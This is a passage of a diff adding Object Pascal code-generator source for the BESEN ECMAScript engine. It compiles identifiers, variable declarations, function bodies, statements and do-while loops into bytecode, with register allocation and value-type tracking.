+ if Number then begin + GenPutValue(r1,DestRegNr,bvtNUMBER); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end else if Str then begin + GenPutValue(r1,DestRegNr,bvtSTRING); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtSTRING; + end else if FromRight then begin + if IsValueBoolean(r2) then begin + GenPutValue(r1,DestRegNr,bvtBOOLEAN); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + end else if IsValueNumber(r2) then begin + GenPutValue(r1,DestRegNr,bvtNUMBER); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end else if IsValueString(r2) then begin + GenPutValue(r1,DestRegNr,bvtSTRING); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtSTRING; + end else if IsValueObject(r2) then begin + GenPutValue(r1,DestRegNr,bvtOBJECT); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtOBJECT; + end else begin + GenPutValue(r1,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtUNDEFINED; + end; + end else begin + GenPutValue(r1,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtUNDEFINED; + end; + AssignSetWhatType(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,CodeGeneratorContext.Registers[DestRegNr].IsWhat); + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + CodeGeneratorContext.DeallocateRegister(r4); + CodeGeneratorContext.DeallocateRegister(r5); + end; + procedure BinaryPre; + begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + r2:=-1; + Visit(TBESENASTNodeBinaryExpression(ToVisit).LeftExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) or IsLocalVariableReference(r1) then begin + r3:=r1; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r3); + end; + Visit(TBESENASTNodeBinaryExpression(ToVisit).RightExpression,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r2) or IsLocalVariableReference(r2) then begin + r4:=r2; + end else begin + r4:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r2,r4); + end; + end; + procedure BinaryNumberPre; + begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + r2:=-1; + Visit(TBESENASTNodeBinaryExpression(ToVisit).LeftExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) or IsLocalVariableReference(r1) then begin + r3:=r1; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r3); + end; + Visit(TBESENASTNodeBinaryExpression(ToVisit).RightExpression,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r2) or IsLocalVariableReference(r2) then begin + r4:=r2; + end else begin + r4:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r2,r4); + end; + if IsValueNumber(r1) then begin + r5:=r3; + end else begin + r5:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTONUMBER,r5,r3); + if r1<>r3 then begin + CodeGeneratorContext.DeallocateRegister(r3); + end; + r3:=r5; + r5:=-1; + end; + if not IsValueNumber(r2) then begin + r5:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTONUMBER,r5,r4); + if r2<>r4 then begin + CodeGeneratorContext.DeallocateRegister(r4); + end; + r4:=r5; + r5:=-1; + end; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end; + procedure BinaryPost; + begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + CodeGeneratorContext.DeallocateRegister(r4); + CodeGeneratorContext.DeallocateRegister(r5); + end; + function AreStrictValueTypesEqual(const vtBefore,vtAfter:TBESENValueTypes):boolean; + var i,j:integer; + begin + if length(vtBefore)<>length(vtAfter) then begin + result:=false; + end else begin + result:=true; + j:=min(length(vtBefore),length(vtAfter)); + for i:=0 to j-1 do begin + if vtBefore[i]<>vtAfter[i] then begin + result:=false; + break; + end; + end; + end; + end; + procedure ResetDifferentValueTypes(var vtBefore:TBESENValueTypes;vtAfter:TBESENValueTypes); + var i,MinLength,MaxLength,BeforeLength,AfterLength:integer; + begin + BeforeLength:=length(vtBefore); + AfterLength:=length(vtAfter); + MinLength:=min(BeforeLength,AfterLength); + MaxLength:=max(BeforeLength,AfterLength); + SetLength(vtBefore,MaxLength); + for i:=0 to MinLength-1 do begin + if vtBefore[i]<>vtAfter[i] then begin + vtBefore[i]:=bvtUNDEFINED; + end; + end; + for i:=MinLength to MaxLength-1 do begin + vtBefore[i]:=bvtUNDEFINED; + end; + end; + procedure ResetDifferentMultiValueTypes(var vtBefore:TBESENValueTypes;const vtAfter:TBESENValueTypesItems); + var i:integer; + begin + for i:=0 to length(vtAfter)-1 do begin + ResetDifferentValueTypes(vtBefore,vtAfter[i]); + end; + end; + begin + SwitchPatches:=nil; + vta:=nil; + vtb:=nil; + vtc:=nil; + vtd:=nil; + vte:=nil; + vtTemp:=nil; + vtBegin:=nil; + vtInner:=nil; + vtEnd:=nil; + for Counter:=low(RegStates) to high(RegStates) do begin + RegStates[Counter].Registers:=nil; + RegStates[Counter].MaxRegisters:=0; + end; + Operands:=nil; + v:=BESENEmptyValue; + if assigned(ToVisit) then begin + r1:=-1; + r2:=-1; + r3:=-1; + r4:=-1; + r5:=-1; + r6:=-1; + if ToVisit is TBESENASTNodeStatement then begin + if TBESENASTNodeStatement(ToVisit).Location.LineNumber>0 then begin + TBESEN(Instance).LineNumber:=TBESENASTNodeStatement(ToVisit).Location.LineNumber; + end; + end; + case ToVisit.NodeType of + bntNONE:begin + end; + bntEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + Code.GenLiteral(BESENNullValue,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNULL; + end; + bntLITERAL:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + Code.GenLiteral(BESENNullValue,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNULL; + end; + bntIDENTIFIER:begin + if DoHoldLocalVariablesInRegisters and OptimizeLocals and (DestRegNr<0) and CodeGeneratorContext.IsVariableInScope(TBESENASTNodeIdentifier(ToVisit).Name) then begin + p1:=CodeGeneratorContext.VariableGetRegister(TBESENASTNodeIdentifier(ToVisit).Name); + end else begin + p1:=-1; + end; + if p1>=0 then begin + DestRegNr:=p1; + CodeGeneratorContext.Registers[DestRegNr].LocalIndex:=CodeGeneratorContext.VariableID(TBESENASTNodeIdentifier(ToVisit).Name); + CodeGeneratorContext.Registers[DestRegNr].IsLocal:=true; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=AssignGetType(ToVisit); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtREFERENCE; + end else begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + CodeGeneratorContext.Registers[DestRegNr].LocalIndex:=-1; + CodeGeneratorContext.Registers[DestRegNr].IsLocal:=false; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtUNDEFINED; + Hash:=BESENHashKey(TBESENASTNodeIdentifier(ToVisit).Name); + if CodeGeneratorContext.IsVariableInScope(TBESENASTNodeIdentifier(ToVisit).Name) then begin + if OptimizeLocals then begin + CodeGeneratorContext.Registers[DestRegNr].LocalIndex:=CodeGeneratorContext.VariableID(TBESENASTNodeIdentifier(ToVisit).Name); + CodeGeneratorContext.Registers[DestRegNr].IsLocal:=true; + Code.GenOp(bopLREF,DestRegNr,CodeGeneratorContext.Registers[DestRegNr].LocalIndex); + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=AssignGetType(ToVisit); + end else begin + Code.GenOp(bopVREF,DestRegNr,CodeGeneratorContext.VariableID(TBESENASTNodeIdentifier(ToVisit).Name),Hash,Code.GenPolymorphicInlineCacheInstruction,-1,-1,-1,-1); + end; + end else begin + hi:=CodeGeneratorContext.LookupHashMap.GetKey(TBESENASTNodeIdentifier(ToVisit).Name); + if not assigned(hi) then begin + hi:=CodeGeneratorContext.LookupHashMap.NewKey(TBESENASTNodeIdentifier(ToVisit).Name,true); + hi^.Value:=Code.LookupNames.Add(TBESENASTNodeIdentifier(ToVisit).Name); + end; + Code.GenOp(bopLOOKUP,DestRegNr,hi^.Value,Hash,Code.GenPolymorphicInlineCacheInstruction); + end; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtREFERENCE; + end; + end; + bntVARIABLEDECLARATION:begin + if assigned(TBESENASTNodeVariableDeclaration(ToVisit).Identifier) then begin + TBESENASTNodeVariableDeclaration(ToVisit).Identifier.IsReached:=true; + end; + if assigned(TBESENASTNodeVariableDeclaration(ToVisit).Identifier) and assigned(TBESENASTNodeVariableDeclaration(ToVisit).Expression) then begin + if DoHoldLocalVariablesInRegisters and CodeGeneratorContext.IsVariableInScope(TBESENASTNodeVariableDeclaration(ToVisit).Identifier.Name) then begin + r1:=CodeGeneratorContext.VariableGetRegister(TBESENASTNodeVariableDeclaration(ToVisit).Identifier.Name); + end else begin + r1:=-1; + end; + if r1>=0 then begin + r2:=-1; + PR:=Code.Here; + CodeGeneratorContext.GetRegisterStates(RegStates[0]); + vta:=CodeGeneratorContext.VariableGetTypes; + Visit(TBESENASTNodeVariableDeclaration(ToVisit).Expression,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsLocalVariableReference(r2) then begin + GenGetValue(r2,r1); + AssignSetWhatType(TBESENASTNodeVariableDeclaration(ToVisit).Identifier,CodeGeneratorContext.Registers[r2].IsWhat); + end else if IsValue(r2) then begin + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.SetRegisterStates(RegStates[0]); + Code.Restore(PR); + CodeGeneratorContext.VariableSetTypes(vta); + Visit(TBESENASTNodeVariableDeclaration(ToVisit).Expression,r1,true); + AssignSetWhatType(TBESENASTNodeVariableDeclaration(ToVisit).Identifier,CodeGeneratorContext.Registers[r1].IsWhat); + end else begin + GenGetValue(r2,r1); + AssignSetWhatType(TBESENASTNodeVariableDeclaration(ToVisit).Identifier,CodeGeneratorContext.Registers[r2].IsWhat); + end; + CodeGeneratorContext.Registers[r1].IsWhat:=bcgtREFERENCE; + if CodeGeneratorContext.VariableGetMutableOrDeletable(TBESENASTNodeVariableDeclaration(ToVisit).Identifier.Name) then begin + CodeGeneratorContext.VariableSetFlags(TBESENASTNodeVariableDeclaration(ToVisit).Identifier.Name,true,true); + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + end else begin + r1:=CodeGeneratorContext.AllocateRegister; + r2:=-1; + Hash:=BESENHashKey(TBESENASTNodeVariableDeclaration(ToVisit).Identifier.Name); + if CodeGeneratorContext.IsVariableInScope(TBESENASTNodeVariableDeclaration(ToVisit).Identifier.Name) then begin + if OptimizeLocals then begin + Code.GenOp(bopLREF,r1,CodeGeneratorContext.VariableID(TBESENASTNodeVariableDeclaration(ToVisit).Identifier.Name)); + end else begin + Code.GenOp(bopVREF,r1,CodeGeneratorContext.VariableID(TBESENASTNodeVariableDeclaration(ToVisit).Identifier.Name),Hash,Code.GenPolymorphicInlineCacheInstruction,-1,-1,-1,-1); + end; + end else begin + hi:=CodeGeneratorContext.LookupHashMap.GetKey(TBESENASTNodeVariableDeclaration(ToVisit).Identifier.Name); + if not assigned(hi) then begin + hi:=CodeGeneratorContext.LookupHashMap.NewKey(TBESENASTNodeVariableDeclaration(ToVisit).Identifier.Name,true); + hi^.Value:=Code.LookupNames.Add(TBESENASTNodeVariableDeclaration(ToVisit).Identifier.Name); + end; + Code.GenOp(bopLOOKUP,r1,hi^.Value,Hash,Code.GenPolymorphicInlineCacheInstruction); + end; + Visit(TBESENASTNodeVariableDeclaration(ToVisit).Expression,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + AssignSetWhatType(TBESENASTNodeVariableDeclaration(ToVisit).Identifier,CodeGeneratorContext.Registers[r2].IsWhat); + if IsValue(r2) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r2,r3); + end; + if CodeGeneratorContext.IsVariableInScope(TBESENASTNodeVariableDeclaration(ToVisit).Identifier.Name) then begin + if OptimizeLocals then begin + Code.GenOp(bopPUTVALUELOCAL,r1,r3); + end else begin + Code.GenOp(bopPUTVALUEREF,r1,r3); + end; + end else begin + Code.GenOp(bopPUTVALUE,r1,r3); + end; + if CodeGeneratorContext.VariableGetMutableOrDeletable(TBESENASTNodeVariableDeclaration(ToVisit).Identifier.Name) then begin + CodeGeneratorContext.VariableSetFlags(TBESENASTNodeVariableDeclaration(ToVisit).Identifier.Name,true,true); + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + end; +{ end else if CalleeNeedReturnedValue then begin + Visit(TBESENASTNodeVariableDeclaration(ToVisit).Identifier,DestRegNr,true);} + end; + end; + bntVARIABLEEXPRESSION:begin + if CalleeNeedReturnedValue and (DestRegNr<0) then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + if DestRegNr<0 then begin + for Counter:=0 to length(TBESENASTNodeVariableExpression(ToVisit).Declarations)-1 do begin + r1:=-1; + Visit(TBESENASTNodeVariableExpression(ToVisit).Declarations[Counter],r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end; + end else begin + for Counter:=0 to length(TBESENASTNodeVariableExpression(ToVisit).Declarations)-1 do begin + Visit(TBESENASTNodeVariableExpression(ToVisit).Declarations[Counter],DestRegNr,true); + end; + end; + end; + bntFUNCTIONBODY:begin + if CalleeNeedReturnedValue and (DestRegNr<0) then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + OldCode:=Code; + OldCodeGeneratorContext:=CodeGeneratorContext; + Code:=TBESENCode(TBESENASTNodeFunctionBody(ToVisit).Code); + CodeGeneratorContext:=TBESENCodeGeneratorContext.Create(Instance); + CodeGeneratorContext.Code:=Code; + OldDoHasLocalDelete:=DoHasLocalDelete; + OldDoIsComplexFunction:=DoIsComplexFunction; + OldDoHasMaybeDirectEval:=DoHasMaybeDirectEval; + OldOptimizeLocals:=OptimizeLocals; + OldHasFunctions:=HasFunctions; + OldDoHoldLocalVariablesInRegisters:=DoHoldLocalVariablesInRegisters; + HasFunctions:=false; + OptimizeLocals:=TBESENASTNodeFunctionBody(ToVisit).EnableLocalsOptimization; + try + DoHasLocalDelete:=false; + DoIsComplexFunction:=not TBESENASTNodeFunctionBody(ToVisit).IsFunction; + DoHasMaybeDirectEval:=false; + HasFunctions:=length(TBESENASTNodeFunctionBody(ToVisit).Functions)>0; + DoHoldLocalVariablesInRegisters:=TBESENASTNodeFunctionBody(ToVisit).IsFunction; + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Statements)-1 do begin + CheckNodeForFeatures(TBESENASTNodeFunctionBody(ToVisit).Statements[Counter],DoHasLocalDelete,DoIsComplexFunction,DoHasMaybeDirectEval,HasFunctions,DoHoldLocalVariablesInRegisters); + end; + DoHoldLocalVariablesInRegisters:=DoHoldLocalVariablesInRegisters and (OptimizeLocals and not (DoHasLocalDelete or DoIsComplexFunction or DoHasMaybeDirectEval or HasFunctions)); + if TBESENASTNodeFunctionBody(ToVisit).IsStrict then begin + Code.GenOp(bopSTRICT,1); + end else begin + Code.GenOp(bopSTRICT,0); + end; + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Functions)-1 do begin + r1:=-1; + Visit(TBESENASTNodeFunctionBody(ToVisit).Functions[Counter],r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + if assigned(TBESENASTNodeFunctionBody(ToVisit).Functions[Counter]) and (TBESENASTNodeFunctionBody(ToVisit).Functions[Counter] is TBESENASTNodeFunctionDeclaration) then begin + if assigned(TBESENASTNodeFunctionDeclaration(TBESENASTNodeFunctionBody(ToVisit).Functions[Counter]).Container.Literal) and assigned(TBESENASTNodeFunctionDeclaration(TBESENASTNodeFunctionBody(ToVisit).Functions[Counter]).Container.Literal.Name) then begin + CodeGeneratorContext.VariableSetScope(TBESENASTNodeFunctionDeclaration(TBESENASTNodeFunctionBody(ToVisit).Functions[Counter]).Container.Literal.Name.Name,true,false,-1); + CodeGeneratorContext.VariableSetType(TBESENASTNodeFunctionDeclaration(TBESENASTNodeFunctionBody(ToVisit).Functions[Counter]).Container.Literal.Name.Name,bvtUNDEFINED); + CodeGeneratorContext.VariableSetFlags(TBESENASTNodeFunctionDeclaration(TBESENASTNodeFunctionBody(ToVisit).Functions[Counter]).Container.Literal.Name.Name,false,false); + end; + end; + end; + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Variables)-1 do begin + CodeGeneratorContext.VariableSetScope(TBESENASTNodeFunctionBody(ToVisit).Variables[Counter].Name,true,TBESENASTNodeFunctionBody(ToVisit).Variables[Counter].IsParameter,TBESENASTNodeFunctionBody(ToVisit).Variables[Counter].ParameterIndex); + CodeGeneratorContext.VariableSetType(TBESENASTNodeFunctionBody(ToVisit).Variables[Counter].Name,bvtUNDEFINED); + CodeGeneratorContext.VariableSetFlags(TBESENASTNodeFunctionBody(ToVisit).Variables[Counter].Name,false,not DoHasLocalDelete); + if DoHoldLocalVariablesInRegisters and not TBESENASTNodeFunctionBody(ToVisit).Variables[Counter].IsParameter then begin + r1:=CodeGeneratorContext.AllocateRegister; + CodeGeneratorContext.Registers[r1].Variable:=Counter; + CodeGeneratorContext.VariableSetRegister(TBESENASTNodeFunctionBody(ToVisit).Variables[Counter].Name,r1); + end else begin + CodeGeneratorContext.VariableSetRegister(TBESENASTNodeFunctionBody(ToVisit).Variables[Counter].Name,-1); + end; + end; + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Statements)-1 do begin + r1:=-1; + Visit(TBESENASTNodeFunctionBody(ToVisit).Statements[Counter],r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end; + if DoHoldLocalVariablesInRegisters then begin + for Counter:=0 to length(CodeGeneratorContext.Registers)-1 do begin + if CodeGeneratorContext.Registers[Counter].Variable>=0 then begin + CodeGeneratorContext.Registers[Counter].Variable:=-1; + r1:=Counter; + CodeGeneratorContext.DeallocateRegister(r1); + end; + end; + end; + if TBESENASTNodeFunctionBody(ToVisit).IsFunction then begin + Code.GenOp(bopSETCUNDEF); + end; + Code.GenOp(bopEND,0); + Code.HasLocalDelete:=DoHasLocalDelete; + Code.IsComplexFunction:=DoIsComplexFunction; + Code.HasMaybeDirectEval:=DoHasMaybeDirectEval; + Code.HoldLocalVariablesInRegisters:=DoHoldLocalVariablesInRegisters; + Code.MaxBlock:=CodeGeneratorContext.MaxBlockDepth; + Code.MaxLoop:=CodeGeneratorContext.MaxLoopDepth; + Code.MaxParamArgs:=CodeGeneratorContext.MaxParamArgs; + Code.MaxRegisters:=CodeGeneratorContext.MaxRegisters; + finally + BESENFreeAndNil(CodeGeneratorContext); + Code:=OldCode; + CodeGeneratorContext:=OldCodeGeneratorContext; + DoHasLocalDelete:=OldDoHasLocalDelete; + DoIsComplexFunction:=OldDoIsComplexFunction; + DoHasMaybeDirectEval:=OldDoHasMaybeDirectEval; + OptimizeLocals:=OldOptimizeLocals; + HasFunctions:=OldHasFunctions; + DoHoldLocalVariablesInRegisters:=OldDoHoldLocalVariablesInRegisters; + end; + end; + bntFUNCTIONLITERAL:begin + r1:=-1; + Visit(TBESENASTNodeFunctionLiteral(ToVisit).Body,r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + if TBESENCode(TBESENASTNodeFunctionLiteral(ToVisit).Body.Code).ByteCodeLen=0 then begin + TBESENCode(TBESENASTNodeFunctionLiteral(ToVisit).Body.Code).GenOp(bopEND,0); + end; + TBESENCode(TBESENASTNodeFunctionLiteral(ToVisit).Body.Code).Finish; + end; + bntSTATEMENT:begin + Code.GenLocation(ToVisit.Location); + end; + bntVARIABLESTATEMENT:begin + Code.GenLocation(ToVisit.Location); + if CalleeNeedReturnedValue and (DestRegNr<0) then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + if DestRegNr<0 then begin + for Counter:=0 to length(TBESENASTNodeVariableStatement(ToVisit).Declarations)-1 do begin + r1:=-1; + Visit(TBESENASTNodeVariableStatement(ToVisit).Declarations[Counter],r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end; + end else begin + for Counter:=0 to length(TBESENASTNodeVariableStatement(ToVisit).Declarations)-1 do begin + Visit(TBESENASTNodeVariableStatement(ToVisit).Declarations[Counter],DestRegNr,true); + end; + end; + end; + bntFUNCTIONDECLARATION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + if assigned(TBESENASTNodeFunctionDeclaration(ToVisit).Container) then begin + Visit(TBESENASTNodeFunctionDeclaration(ToVisit).Container.Literal,DestRegNr,true); + end; + end; + bntEXPRESSIONSTATEMENT:begin + Code.GenLocation(ToVisit.Location); + if Code.Body.IsFunction then begin + PR:=Code.Here; + CodeGeneratorContext.GetRegisterStates(RegStates[0]); + vta:=CodeGeneratorContext.VariableGetTypes; + r1:=-1; + Visit(TBESENASTNodeExpressionStatement(ToVisit).Expression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) then begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.SetRegisterStates(RegStates[0]); + CodeGeneratorContext.VariableSetTypes(vta); + Code.Restore(PR); + r1:=-1; + Visit(TBESENASTNodeExpressionStatement(ToVisit).Expression,r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + end; + end else begin + r1:=-1; + Visit(TBESENASTNodeExpressionStatement(ToVisit).Expression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if not Code.Body.IsFunction then begin + GenSetC(r2); + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + bntEMPTYSTATEMENT:begin + Code.GenLocation(ToVisit.Location); + end; + bntBLOCKSTATEMENT:begin + Code.GenLocation(ToVisit.Location); + if CalleeNeedReturnedValue and (DestRegNr<0) then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + if DestRegNr<0 then begin + for Counter:=0 to length(TBESENASTNodeBlockStatement(ToVisit).Statements)-1 do begin + r1:=-1; + Visit(TBESENASTNodeBlockStatement(ToVisit).Statements[Counter],r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + end; + end else begin + for Counter:=0 to length(TBESENASTNodeBlockStatement(ToVisit).Statements)-1 do begin + Visit(TBESENASTNodeBlockStatement(ToVisit).Statements[Counter],DestRegNr,true); + end; + end; + end; + bntDEBUGGERSTATEMENT:begin + Code.GenLocation(ToVisit.Location); + Code.GenOp(bopDEBUGGER); + end; + bntBREAKSTATEMENT:begin + Code.GenLocation(ToVisit.Location); + Patchables:=CodeGeneratorContext.FindPatchables(TBESENASTNodeBreakStatement(ToVisit).Target,false); + if assigned(Patchables) then begin + if Patchables.BlockDepth<CodeGeneratorContext.BlockDepth then begin + Code.GenOp(bopEND,Patchables.BlockDepth+1); + end; + Patchables.AddBreak(Code.GenOp(bopJMP,0)+1,CodeGeneratorContext.VariableGetTypes); + end; + end; + bntCONTINUESTATEMENT:begin + Code.GenLocation(ToVisit.Location); + Patchables:=CodeGeneratorContext.FindPatchables(TBESENASTNodeContinueStatement(ToVisit).Target,true); + if assigned(Patchables) then begin + if Patchables.BlockDepth<CodeGeneratorContext.BlockDepth then begin + Code.GenOp(bopEND,Patchables.BlockDepth+1); + end; + Patchables.AddContinue(Code.GenOp(bopJMP,0)+1,CodeGeneratorContext.VariableGetTypes); + end; + end; + bntDOSTATEMENT:begin + if CalleeNeedReturnedValue and (DestRegNr<0) then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + inc(CodeGeneratorContext.LoopDepth); + if CodeGeneratorContext.MaxLoopDepth<CodeGeneratorContext.LoopDepth then begin + CodeGeneratorContext.MaxLoopDepth:=CodeGeneratorContext.LoopDepth; + end; + if OptimizeLocals and not HasLabelBreakContinue(TBESENASTNodeDoStatement(ToVisit).Statement) then begin + + CodeGeneratorContext.GetRegisterStates(RegStates[0]); + PR:=Code.Here; + + // Pass one - Collecting value type differences and generating final code if value types are static + // *** vta = Before do statement + // * vtb = After do statement and before do while expression + // * vtc = After do while expression + begin + CodeGeneratorContext.PushPatchables(TBESENASTNodeDoStatement(ToVisit).Target,true); + + vta:=CodeGeneratorContext.VariableGetTypes; + L1:=Code.Here; + Visit(TBESENASTNodeDoStatement(ToVisit).Statement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + + vtb:=CodeGeneratorContext.VariableGetTypes; + L2:=Code.Here; + Code.GenLocation(ToVisit.Location); + r1:=-1; + Visit(TBESENASTNodeDoStatement(ToVisit).Expression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsLocalVariableReference(r1) then begin + r2:=r1; + end else if IsValue(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if IsValueNumber(r1) then begin + r3:=r2; + Code.GenOp(bopJNZERO,L1,r3); + end else begin + if IsValueBoolean(r1) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOBOOLEAN,r3,r2); + if r2<>r3 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + Code.GenOp(bopJZ,L1,r3); + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + + L3:=Code.Here; + + vtc:=CodeGeneratorContext.VariableGetTypes; + + vtInner:=copy(vta,0,length(vta)); + ResetDifferentValueTypes(vtInner,vtb); + ResetDifferentValueTypes(vtInner,vtc); + + if CodeGeneratorContext.Patchables.CountContinueValueTypesItems>0 then begin + SetLength(CodeGeneratorContext.Patchables.ContinueValueTypesItems,CodeGeneratorContext.Patchables.CountContinueValueTypesItems); + ResetDifferentMultiValueTypes(vtInner,CodeGeneratorContext.Patchables.ContinueValueTypesItems); + end; + + vtEnd:=copy(vtInner,0,length(vtInner)); + if CodeGeneratorContext.Patchables.CountBreakValueTypesItems>0 then begin + SetLength(CodeGeneratorContext.Patchables.BreakValueTypesItems,CodeGeneratorContext.Patchables.CountBreakValueTypesItems); + ResetDifferentMultiValueTypes(vtEnd,CodeGeneratorContext.Patchables.BreakValueTypesItems); + end; + + CodeGeneratorContext.PopPatchables(L2,L3); + + CodeGeneratorContext.VariableSetTypes(vtEnd); + end; + + // Pass two - Generating final loop code if value types are different + if not (AreStrictValueTypesEqual(vta,vtb) and AreStrictValueTypesEqual(vta,vtc) and AreStrictValueTypesEqual(vta,vtInner) and AreStrictValueTypesEqual(vtc,vtEnd)) then begin + CodeGeneratorContext.SetRegisterStates(RegStates[0]); + Code.Restore(PR); + + CodeGeneratorContext.PushPatchables(TBESENASTNodeDoStatement(ToVisit).Target,true); + + CodeGeneratorContext.VariableSetTypes(vtInner); + L1:=Code.Here; + Visit(TBESENASTNodeDoStatement(ToVisit).Statement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + + CodeGeneratorContext.VariableSetTypes(vtInner); + L2:=Code.Here; + Code.GenLocation(ToVisit.Location); + r1:=-1; + Visit(TBESENASTNodeDoStatement(ToVisit).Expression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsLocalVariableReference(r1) then begin + r2:=r1; + end else if IsValue(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + if IsValueNumber(r1) then begin + r3:=r2; + Code.GenOp(bopJNZERO,L1,r3); + end else begin + if IsValueBoolean(r1) then begin + r3:=r2; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOBOOLEAN,r3,r2); + if r2<>r3 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + Code.GenOp(bopJZ,L1,r3); + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + + L3:=Code.Here; + CodeGeneratorContext.PopPatchables(L2,L3); + + CodeGeneratorContext.VariableSetTypes(vtEnd); + end; + end else begin + // It's extremly type instable global code or the loop body contains labelled break/continue, eo regenerate code for an type instable loop + CodeGeneratorContext.PushPatchables(TBESENASTNodeDoStatement(ToVisit).Target,true); + L1:=Code.Here; + CodeGeneratorContext.VariableAllSetType(bvtUNDEFINED); + Visit(TBESENASTNodeDoStatement(ToVisit).Statement,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + L2:=Code.Here; + 